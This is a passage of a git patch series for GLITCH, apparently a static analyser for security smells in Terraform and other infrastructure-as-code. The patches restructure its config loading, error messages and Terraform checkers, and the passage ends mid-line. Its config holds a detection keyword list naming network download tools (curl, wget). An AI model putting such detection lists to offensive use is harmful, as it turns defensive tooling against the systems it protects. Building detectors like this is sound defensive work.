json.loads(config['security']['integrity_policy']) - SecurityVisitor.__SECRETS_WHITELIST = json.loads(config['security']['secrets_white_list']) - SecurityVisitor._HTTPS_CONFIGS = json.loads(config['security']['ensure_https']) - SecurityVisitor._SSL_TLS_POLICY = json.loads(config['security']['ssl_tls_policy']) - SecurityVisitor._DNSSEC_CONFIGS = json.loads(config['security']['ensure_dnssec']) - SecurityVisitor._PUBLIC_IP_CONFIGS = json.loads(config['security']['use_public_ip']) - SecurityVisitor._POLICY_KEYWORDS = json.loads(config['security']['policy_keywords']) - SecurityVisitor._ACCESS_CONTROL_CONFIGS = json.loads(config['security']['insecure_access_control']) - SecurityVisitor._AUTHENTICATION = json.loads(config['security']['authentication']) - SecurityVisitor._POLICY_ACCESS_CONTROL = json.loads(config['security']['policy_insecure_access_control']) - SecurityVisitor._POLICY_AUTHENTICATION = json.loads(config['security']['policy_authentication']) - SecurityVisitor._MISSING_ENCRYPTION = json.loads(config['security']['missing_encryption']) - SecurityVisitor._CONFIGURATION_KEYWORDS = json.loads(config['security']['configuration_keywords']) - SecurityVisitor._ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) - SecurityVisitor._FIREWALL_CONFIGS = json.loads(config['security']['firewall']) - SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) - SecurityVisitor._PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) - SecurityVisitor._KEY_MANAGEMENT = json.loads(config['security']['key_management']) - SecurityVisitor._NETWORK_SECURITY_RULES = json.loads(config['security']['network_security_rules']) - SecurityVisitor._PERMISSION_IAM_POLICIES = json.loads(config['security']['permission_iam_policies']) - SecurityVisitor._GOOGLE_IAM_MEMBER = json.loads(config['security']['google_iam_member_resources']) - SecurityVisitor._LOGGING = json.loads(config['security']['logging']) - SecurityVisitor._GOOGLE_SQL_DATABASE_LOG_FLAGS = json.loads(config['security']['google_sql_database_log_flags']) - SecurityVisitor._POSSIBLE_ATTACHED_RESOURCES = json.loads(config['security']['possible_attached_resources_aws_route53']) - SecurityVisitor._VERSIONING = json.loads(config['security']['versioning']) - SecurityVisitor._NAMING = json.loads(config['security']['naming']) - SecurityVisitor._REPLICATION = json.loads(config['security']['replication']) + + if self.tech == Tech.terraform: + SecurityVisitor._INTEGRITY_POLICY = json.loads(config['security']['integrity_policy']) + SecurityVisitor._HTTPS_CONFIGS = json.loads(config['security']['ensure_https']) + SecurityVisitor._SSL_TLS_POLICY = json.loads(config['security']['ssl_tls_policy']) + SecurityVisitor._DNSSEC_CONFIGS = json.loads(config['security']['ensure_dnssec']) + SecurityVisitor._PUBLIC_IP_CONFIGS = json.loads(config['security']['use_public_ip']) + SecurityVisitor._POLICY_KEYWORDS = json.loads(config['security']['policy_keywords']) + SecurityVisitor._ACCESS_CONTROL_CONFIGS = json.loads(config['security']['insecure_access_control']) + SecurityVisitor._AUTHENTICATION = json.loads(config['security']['authentication']) + SecurityVisitor._POLICY_ACCESS_CONTROL = json.loads(config['security']['policy_insecure_access_control']) + SecurityVisitor._POLICY_AUTHENTICATION = json.loads(config['security']['policy_authentication']) + SecurityVisitor._MISSING_ENCRYPTION = json.loads(config['security']['missing_encryption']) + SecurityVisitor._CONFIGURATION_KEYWORDS = json.loads(config['security']['configuration_keywords']) + SecurityVisitor._ENCRYPT_CONFIG = json.loads(config['security']['encrypt_configuration']) + SecurityVisitor._FIREWALL_CONFIGS = json.loads(config['security']['firewall']) + SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS = json.loads(config['security']['missing_threats_detection_alerts']) + SecurityVisitor._PASSWORD_KEY_POLICY = json.loads(config['security']['password_key_policy']) + SecurityVisitor._KEY_MANAGEMENT = json.loads(config['security']['key_management']) + SecurityVisitor._NETWORK_SECURITY_RULES = json.loads(config['security']['network_security_rules']) + SecurityVisitor._PERMISSION_IAM_POLICIES = json.loads(config['security']['permission_iam_policies']) + SecurityVisitor._GOOGLE_IAM_MEMBER = json.loads(config['security']['google_iam_member_resources']) + SecurityVisitor._LOGGING = json.loads(config['security']['logging']) + SecurityVisitor._GOOGLE_SQL_DATABASE_LOG_FLAGS = json.loads(config['security']['google_sql_database_log_flags']) + SecurityVisitor._POSSIBLE_ATTACHED_RESOURCES = json.loads(config['security']['possible_attached_resources_aws_route53']) + SecurityVisitor._VERSIONING = json.loads(config['security']['versioning']) + SecurityVisitor._NAMING = json.loads(config['security']['naming']) + SecurityVisitor._REPLICATION = json.loads(config['security']['replication']) + SecurityVisitor.__FILE_COMMANDS = json.loads(config['security']['file_commands']) SecurityVisitor.__DOWNLOAD_COMMANDS = json.loads(config['security']['download_commands']) SecurityVisitor.__SHELL_RESOURCES = json.loads(config['security']['shell_resources']) diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index c31de678..09658d40 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -22,37 +22,10 @@ checksum = ["gpg", "checksum"] weak_crypt = ["md5", "sha1", "arcfour"] weak_crypt_whitelist = ["checksum"] url_http_white_list = ["localhost", "127.0.0.1"] +secrets_white_list = [] sensitive_data = [] secret_value_assign = [] - -policy_keywords = [] -policy_insecure_access_control = [] -policy_authentication = [] -configuration_keywords = [] -encrypt_configuration = [] -secrets_white_list = [] github_actions_resources = [] -integrity_policy = [] -ensure_https = [] -ssl_tls_policy = [] -ensure_dnssec = [] -use_public_ip = [] -insecure_access_control = [] -authentication = [] -missing_encryption = [] -firewall = [] -missing_threats_detection_alerts = [] -password_key_policy = [] -key_management = [] -network_security_rules = [] -google_iam_member_resources = [] -permission_iam_policies = [] -logging = [] -google_sql_database_log_flags = [] -possible_attached_resources_aws_route53 = [] -versioning = [] -naming = [] -replication = [] file_commands = ["file", "chmod", "mkdir"] download_commands = ["curl", "wget"] From c16045e2bd1fd37e2bbcfee6aebc32e7c28d6022 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Thu, 14 Mar 2024 15:14:42 +0000 Subject: [PATCH 48/58] group terraform smells --- glitch/analysis/rules.py | 52 ++++++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 23 deletions(-) diff --git a/glitch/analysis/rules.py b/glitch/analysis/rules.py index e5b1682b..4a37792e 100644 --- a/glitch/analysis/rules.py +++ b/glitch/analysis/rules.py @@ -16,28 +16,30 @@ class Error(): 'sec_invalid_bind': "Invalid IP address binding - Binding to the address 0.0.0.0 allows connections from every possible network which might be a security issues. (CWE-284)", 'sec_no_int_check': "No integrity check - The content of files downloaded from the internet should be checked. (CWE-353)", 'sec_no_default_switch': "Missing default case statement - Not handling every possible input combination might allow an attacker to trigger an error for an unhandled value. (CWE-478)", - 'sec_integrity_policy': "Integrity Policy - Image tag is prone to be mutable or integrity monitoring is disabled. (CWE-471)", - 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions. (CWE-326)", - 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS. (CWE-350)", - 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet. (CWE-1327)", - 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access. (CWE-284)", - 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled. (CWE-287 | CWE-306)", - 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", - 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", - 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible. (CWE-693)", - 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521).", - 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies. (CWE-284)", - 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption. (CWE-1394)", - 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used. (CWE-923)", - 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies. (CWE-732 | CWE-284)", - 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems. (CWE-223 | CWE-778)", - 'sec_attached_resource': "Attached Resource - Ensure that Route53 A records point to resources part of your account rather than just random IP addresses. (CWE-200)", - 'sec_versioning': "Versioning - Ensure that versioning is enabled so that users can retrieve and restore previous versions.", - 'sec_naming': "Naming - Ensure storage accounts adhere to the naming rules and every security groups and rules have a description. (CWE-1099 | CWE-710)", - 'sec_replication': "Replication - Ensure that cross-region replication is enabled to allow copying objects across S3 buckets.", 'sec_non_official_image': "Use of non-official Docker image - Use of non-official images should be avoided or taken into careful consideration. (CWE-829)", 'sec_full_permission_filesystem': "Full permission to the filesystem - Files should not have full permissions to every user. (CWE-732)", - 'sec_obsolete_command': "Use of obsolete command or function - Avoid using obsolete or deprecated commands and functions. (CWE-477)" + 'sec_obsolete_command': "Use of obsolete command or function - Avoid using obsolete or deprecated commands and functions. (CWE-477)", + 'terraform': { + 'sec_integrity_policy': "Integrity Policy - Image tag is prone to be mutable or integrity monitoring is disabled. (CWE-471)", + 'sec_ssl_tls_policy': "SSL/TLS/mTLS Policy - Developers should use SSL/TLS/mTLS protocols and their secure versions. (CWE-326)", + 'sec_dnssec': "Use of DNS without DNSSEC - Developers should favor the usage of DNSSEC while using DNS. (CWE-350)", + 'sec_public_ip': "Associated Public IP address - Associating Public IP addresses allows connections from public internet. (CWE-1327)", + 'sec_access_control': "Insecure Access Control - Developers should be aware of possible unauthorized access. (CWE-284)", + 'sec_authentication': "Disabled/Weak Authentication - Developers should guarantee that authentication is enabled. (CWE-287 | CWE-306)", + 'sec_missing_encryption': "Missing Encryption - Developers should ensure encryption of sensitive and critical data. (CWE-311)", + 'sec_firewall_misconfig': "Firewall Misconfiguration - Developers should favor the usage of a well configured waf. (CWE-693)", + 'sec_threats_detection_alerts': "Missing Threats Detection/Alerts - Developers should enable threats detection and alerts when it is possible. (CWE-693)", + 'sec_weak_password_key_policy': "Weak Password/Key Policy - Developers should favor the usage of strong password/key requirements and configurations. (CWE-521).", + 'sec_sensitive_iam_action': "Sensitive Action by IAM - Developers should use the principle of least privilege when defining IAM policies. (CWE-284)", + 'sec_key_management': "Key Management - Developers should use well configured Customer Managed Keys (CMK) for encryption. (CWE-1394)", + 'sec_network_security_rules': "Network Security Rules - Developers should enforce that only secure network rules are being used. (CWE-923)", + 'sec_permission_iam_policies': "Permission of IAM Policies - Developers should be aware of unwanted permissions of IAM policies. (CWE-732 | CWE-284)", + 'sec_logging': "Logging - Logs should be enabled and securely configured to help monitoring and preventing security problems. (CWE-223 | CWE-778)", + 'sec_attached_resource': "Attached Resource - Ensure that Route53 A records point to resources part of your account rather than just random IP addresses. (CWE-200)", + 'sec_versioning': "Versioning - Ensure that versioning is enabled so that users can retrieve and restore previous versions.", + 'sec_naming': "Naming - Ensure storage accounts adhere to the naming rules and every security groups and rules have a description. (CWE-1099 | CWE-710)", + 'sec_replication': "Replication - Ensure that cross-region replication is enabled to allow copying objects across S3 buckets.", + } }, 'design': { 'design_imperative_abstraction': "Imperative abstraction - The presence of imperative statements defies the purpose of IaC declarative languages.", @@ -58,9 +60,13 @@ class Error(): @staticmethod def agglomerate_errors(): - for error_list in Error.ERRORS.values(): - for k,v in error_list.items(): - Error.ALL_ERRORS[k] = v + def aux_agglomerate_errors(key, errors): + if isinstance(errors, dict): + for k, v in errors.items(): + aux_agglomerate_errors(k, v) + else: + Error.ALL_ERRORS[key] = errors + aux_agglomerate_errors('', Error.ERRORS) def __init__(self, code: str, el, path: str, repr: str, opt_msg: str = None) -> None: self.code: str = code From 47d46babc763c38e5ecfadbe6e2603734a86dfd1 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Thu, 14 Mar 2024 15:50:54 +0000 Subject: [PATCH 49/58] divide smell checkers between multiple files --- glitch/analysis/security.py | 1137 +---------------- glitch/analysis/terraform/__init__.py | 7 + glitch/analysis/terraform/access_control.py | 86 ++ .../analysis/terraform/attached_resource.py | 33 + glitch/analysis/terraform/authentication.py | 45 + glitch/analysis/terraform/dns_policy.py | 24 + .../analysis/terraform/firewall_misconfig.py | 26 + glitch/analysis/terraform/http_without_tls.py | 43 + glitch/analysis/terraform/integrity_policy.py | 22 + glitch/analysis/terraform/key_management.py | 50 + glitch/analysis/terraform/logging.py | 238 ++++ .../analysis/terraform/missing_encryption.py | 86 ++ glitch/analysis/terraform/naming.py | 53 + glitch/analysis/terraform/network_policy.py | 63 + .../terraform/permission_iam_policies.py | 35 + glitch/analysis/terraform/public_ip.py | 28 + glitch/analysis/terraform/replication.py | 33 + .../terraform/sensitive_iam_action.py | 80 ++ glitch/analysis/terraform/smell_checker.py | 88 ++ glitch/analysis/terraform/ssl_tls_policy.py | 31 + .../analysis/terraform/threats_detection.py | 30 + glitch/analysis/terraform/versioning.py | 22 + .../terraform/weak_password_key_policy.py | 36 + 23 files changed, 1174 insertions(+), 1122 deletions(-) create mode 100644 glitch/analysis/terraform/__init__.py create mode 100644 glitch/analysis/terraform/access_control.py create mode 100644 glitch/analysis/terraform/attached_resource.py create mode 100644 glitch/analysis/terraform/authentication.py create mode 100644 glitch/analysis/terraform/dns_policy.py create mode 100644 glitch/analysis/terraform/firewall_misconfig.py create mode 100644 glitch/analysis/terraform/http_without_tls.py create mode 100644 glitch/analysis/terraform/integrity_policy.py create mode 100644 glitch/analysis/terraform/key_management.py create mode 100644 glitch/analysis/terraform/logging.py create mode 100644 glitch/analysis/terraform/missing_encryption.py create mode 100644 glitch/analysis/terraform/naming.py create mode 100644 glitch/analysis/terraform/network_policy.py create mode 100644 glitch/analysis/terraform/permission_iam_policies.py create mode 100644 glitch/analysis/terraform/public_ip.py create mode 100644 glitch/analysis/terraform/replication.py create mode 100644 glitch/analysis/terraform/sensitive_iam_action.py create mode 100644 glitch/analysis/terraform/smell_checker.py create mode 100644 glitch/analysis/terraform/ssl_tls_policy.py create mode 100644 glitch/analysis/terraform/threats_detection.py create mode 100644 glitch/analysis/terraform/versioning.py create mode 100644 glitch/analysis/terraform/weak_password_key_policy.py diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 1d73c122..29fa8c72 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -10,1051 +10,13 @@ from glitch.tech import Tech from glitch.repr.inter import * -from glitch.tech import Tech + +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker class SecurityVisitor(RuleVisitor): __URL_REGEX = r"^(http:\/\/www\.|https:\/\/www\.|http:\/\/|https:\/\/)?[a-z0-9]+([_\-\.]{1}[a-z0-9]+)*\.[a-z]{2,5}(:[0-9]{1,5})?(\/.*)?$" - class TerraformSmellChecker(SmellChecker): - def get_au(self, c, file: str, name: str, type: str): - if isinstance(c, Project): - module_name = os.path.basename(os.path.dirname(file)) - for m in c.modules: - if m.name == module_name: - return self.get_au(m, file, name, type) - elif isinstance(c, Module): - for ub in c.blocks: - au = self.get_au(ub, file, name, type) - if au: - return au - elif isinstance(c, UnitBlock): - for au in c.atomic_units: - if (au.type == type and au.name == name): - return au - return None - - def get_associated_au(self, code, file: str, type: str, attribute_name: str , pattern, attribute_parents: list): - if isinstance(code, Project): - module_name = os.path.basename(os.path.dirname(file)) - for m in code.modules: - if m.name == module_name: - return self.get_associated_au(m, file, type, attribute_name, pattern, attribute_parents) - elif isinstance(code, Module): - for ub in code.blocks: - au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) - if au: - return au - elif isinstance(code, UnitBlock): - for au in code.atomic_units: - if (au.type == type and self.check_required_attribute( - au.attributes, attribute_parents, attribute_name, None, pattern)): - return au - return None - - def get_attributes_with_name_and_value(self, attributes, parents, name, value = None, pattern = None): - aux = [] - for a in attributes: - if a.name.split('dynamic.')[-1] == name and parents == [""]: - if ((value and a.value.lower() == value) or (pattern and re.match(pattern, a.value.lower()))): - aux.append(a) - elif ((value and a.value.lower() != value) or (pattern and not re.match(pattern, a.value.lower()))): - continue - elif (not value and not pattern): - aux.append(a) - elif a.name.split('dynamic.')[-1] in parents: - aux += self.get_attributes_with_name_and_value(a.keyvalues, [""], name, value, pattern) - elif a.keyvalues != []: - aux += self.get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) - return aux - - def check_required_attribute(self, attributes, parents, name, value = None, pattern = None, return_all = False): - attributes = self.get_attributes_with_name_and_value(attributes, parents, name, value, pattern) - if attributes != []: - if return_all: - return attributes - return attributes[0] - else: - return None - - def check_database_flags(self, au: AtomicUnit, file: str, smell: str, flag_name: str, safe_value: str, - required_flag = True): - database_flags = self.get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") - found_flag = False - errors = [] - if database_flags != []: - for flag in database_flags: - name = self.check_required_attribute(flag.keyvalues, [""], "name", flag_name) - if name: - found_flag = True - value = self.check_required_attribute(flag.keyvalues, [""], "value") - if value and value.value.lower() != safe_value: - errors.append(Error(smell, value, file, repr(value))) - break - elif not value and required_flag: - errors.append(Error(smell, flag, file, repr(flag), - f"Suggestion: check for a required attribute with name 'value'.")) - break - if not found_flag and required_flag: - errors.append(Error(smell, au, file, repr(au), - f"Suggestion: check for a required flag '{flag_name}'.")) - return errors - - class TerraformIntegrityPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - for policy in SecurityVisitor._INTEGRITY_POLICY: - if (policy['required'] == "yes" and element.type in policy['au_type'] - and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): - errors.append(Error('sec_integrity_policy', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for policy in SecurityVisitor._INTEGRITY_POLICY: - if (elem_name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and not element.has_variable - and elem_value.lower() not in policy['values']): - return[Error('sec_integrity_policy', element, file, repr(element))] - return errors - - class TerraformHttpWithoutTls(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "data.http"): - url = self.check_required_attribute(element.attributes, [""], "url") - if ("${" in url.value): - vars = url.value.split("${") - r = url.value.split("${")[1].split("}")[0] - for var in vars: - if "data" in var or "resource" in var: - r = var.split("}")[0] - break - type = r.split(".")[0] - if type in ["data", "resource"]: - resource_type = r.split(".")[1] - resource_name = r.split(".")[2] - else: - type = "resource" - resource_type = r.split(".")[0] - resource_name = r.split(".")[1] - if self.get_au(code, file, resource_name, type + "." + resource_type): - errors.append(Error('sec_https', url, file, repr(url))) - - for config in SecurityVisitor._HTTPS_CONFIGS: - if (config["required"] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config["parents"], config['attribute'])): - errors.append(Error('sec_https', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._HTTPS_CONFIGS: - if (elem_name == config["attribute"] and au_type in config["au_type"] - and parent_name in config["parents"] and not element.has_variable - and elem_value.lower() not in config["values"]): - return [Error('sec_https', element, file, repr(element))] - return errors - - class TerraformSslTlsPolicy(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): - protocol = self.check_required_attribute(element.attributes, [""], "protocol") - if (protocol and protocol.value.lower() in ["https", "tls"]): - ssl_policy = self.check_required_attribute(element.attributes, [""], "ssl_policy") - if not ssl_policy: - errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'ssl_policy'.")) - - for policy in SecurityVisitor._SSL_TLS_POLICY: - if (policy['required'] == "yes" and element.type in policy['au_type'] - and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): - errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for policy in SecurityVisitor._SSL_TLS_POLICY: - if (elem_name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and not element.has_variable - and elem_value.lower() not in policy['values']): - return [Error('sec_ssl_tls_policy', element, file, repr(element))] - return errors - - class TerraformDnsWithoutDnssec(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - for config in SecurityVisitor._DNSSEC_CONFIGS: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_dnssec', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._DNSSEC_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] - and config['values'] != [""]): - return [Error('sec_dnssec', element, file, repr(element))] - return errors - - class TerraformPublicIp(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - for config in SecurityVisitor._PUBLIC_IP_CONFIGS: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_public_ip', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif (config['required'] == "must_not_exist" and element.type in config['au_type']): - a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) - if a: - errors.append(Error('sec_public_ip', a, file, repr(a))) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._PUBLIC_IP_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] - and config['values'] != [""]): - return [Error('sec_public_ip', element, file, repr(element))] - return errors - - class TerraformAccessControl(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.aws_api_gateway_method"): - http_method = self.check_required_attribute(element.attributes, [""], 'http_method') - authorization =self.check_required_attribute(element.attributes, [""], 'authorization') - if (http_method and authorization): - if (http_method.value.lower() == 'get' and authorization.value.lower() == 'none'): - api_key_required = self.check_required_attribute(element.attributes, [""], 'api_key_required') - if api_key_required and f"{api_key_required.value}".lower() != 'true': - errors.append(Error('sec_access_control', api_key_required, file, repr(api_key_required))) - elif not api_key_required: - errors.append(Error('sec_access_control', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'api_key_required'.")) - elif (http_method and not authorization): - errors.append(Error('sec_access_control', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'authorization'.")) - elif (element.type == "resource.github_repository"): - visibility = self.check_required_attribute(element.attributes, [""], 'visibility') - if visibility: - if visibility.value.lower() not in ["private", "internal"]: - errors.append(Error('sec_access_control', visibility, file, repr(visibility))) - else: - private = self.check_required_attribute(element.attributes, [""], 'private') - if private: - if f"{private.value}".lower() != "true": - errors.append(Error('sec_access_control', private, file, repr(private))) - else: - errors.append(Error('sec_access_control', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'visibility' or 'private'.")) - elif (element.type == "resource.google_sql_database_instance"): - errors += self.check_database_flags(element, file, 'sec_access_control', "cross db ownership chaining", "off") - elif (element.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.aws_s3_bucket_public_access_block", "bucket", pattern, [""]): - errors.append(Error('sec_access_control', element, file, repr(element), - f"Suggestion: check for a required resource 'aws_s3_bucket_public_access_block' " + - f"associated to an 'aws_s3_bucket' resource.")) - - for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_access_control', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == elem_name: - for config in SecurityVisitor._POLICY_ACCESS_CONTROL: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - allow_expr = "\"effect\":" + "\s*" + "\"allow\"" - allow_pattern = re.compile(rf"{allow_expr}") - if re.search(pattern, elem_value) and re.search(allow_pattern, elem_value): - errors.append(Error('sec_access_control', element, file, repr(element))) - break - - if (re.search(r"actions\[\d+\]", elem_name) and parent_name == "permissions" - and au_type == "resource.azurerm_role_definition" and elem_value == "*"): - errors.append(Error('sec_access_control', element, file, repr(element))) - elif (((re.search(r"members\[\d+\]", elem_name) and au_type == "resource.google_storage_bucket_iam_binding") - or (elem_name == "member" and au_type == "resource.google_storage_bucket_iam_member")) - and (elem_value == "allusers" or elem_value == "allauthenticatedusers")): - errors.append(Error('sec_access_control', element, file, repr(element))) - elif (elem_name == "email" and parent_name == "service_account" - and au_type == "resource.google_compute_instance" - and re.search(r".-compute@developer.gserviceaccount.com", elem_value)): - errors.append(Error('sec_access_control', element, file, repr(element))) - - for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_access_control', element, file, repr(element))) - break - return errors - - class TerraformAuthentication(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.google_sql_database_instance"): - errors += self.check_database_flags(element, file, 'sec_authentication', "contained database authentication", "off") - elif (element.type == "resource.aws_iam_group"): - expr = "\${aws_iam_group\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - if not self.get_associated_au(code, file, "resource.aws_iam_group_policy", "group", pattern, [""]): - errors.append(Error('sec_authentication', element, file, repr(element), - f"Suggestion: check for a required resource 'aws_iam_group_policy' associated to an " + - f"'aws_iam_group' resource.")) - - for config in SecurityVisitor._AUTHENTICATION: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - errors.append(Error('sec_authentication', element, file, repr(element), - f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == elem_name: - for config in SecurityVisitor._POLICY_AUTHENTICATION: - if au_type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, elem_value): - errors.append(Error('sec_authentication', element, file, repr(element))) - - for config in SecurityVisitor._AUTHENTICATION: - if (elem_name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and elem_value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_authentication', element, file, repr(element))) - break - return errors - - class TerraformMissingEncryption(TerraformSmellChecker): - def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): - errors = [] - if isinstance(element, AtomicUnit): - if (element.type == "resource.aws_s3_bucket"): - expr = "\${aws_s3_bucket\." + f"{elem_name}\." - pattern = re.compile(rf"{expr}") - r = self.get_associated_au(code, file, "resource.aws_s3_bucket_server_side_encryption_configuration", - "bucket", pattern, [""]) - if not r: - errors.append(Error('sec_missing_encryption', element, file, repr(element), - f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + - f"associated to an 'aws_s3_bucket' resource.")) - elif (element.type == "resource.aws_eks_cluster"): - resources = self.check_required_attribute(element.attributes, ["encryption_config"], "resources[0]") - if resources: - i = 0 - valid = False - while resources: - a = resources - if resources.value.lower() == "secrets": - valid = True - break - i += 1 - resources = self.check_required_attribute(element.attributes, ["encryption_config"], f"resources[{i}]") - if not valid: - errors.append(Error('sec_missing_encryption', a, file, repr(a))) - else: - errors.append(Error('sec_missing_encryption', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'encryption_config.resources'.")) - elif (element.type in ["resource.aws_instance", "resource.aws_launch_configuration"]): - ebs_block_device = self.check_required_attribute(element.attributes, [""], "ebs_block_device") - if ebs_block_device: - encrypted = self.check_required_attribute(ebs_block_device.keyvalues, [""], "encrypted") - if not encrypted: - errors.append(Error('sec_missing_encryption', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'ebs_block_device.encrypted'.")) - elif (element.type == "resource.aws_ecs_task_definition"): - volume = self.check_required_attribute(element.attributes, [""], "volume") - if volume: - efs_volume_config = self.check_required_attribute(volume.keyvalues, [""], "efs_volume_configuration") - if efs_volume_config: - transit_encryption = self.check_required_attribute(efs_volume_config.keyvalues, [""], "transit_encryption") - if not transit_encryption: - errors.append(Error('sec_missing_encryption', element, file, repr(element), - f"Suggestion: check for a required attribute with name" + - f"'volume.efs_volume_configuration.transit_encryption'.")) - - for config in SecurityVisitor._MISSING_ENCRYPTION: - if (config['required'] == "yes" and element.type in config['au_type'] - and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): - 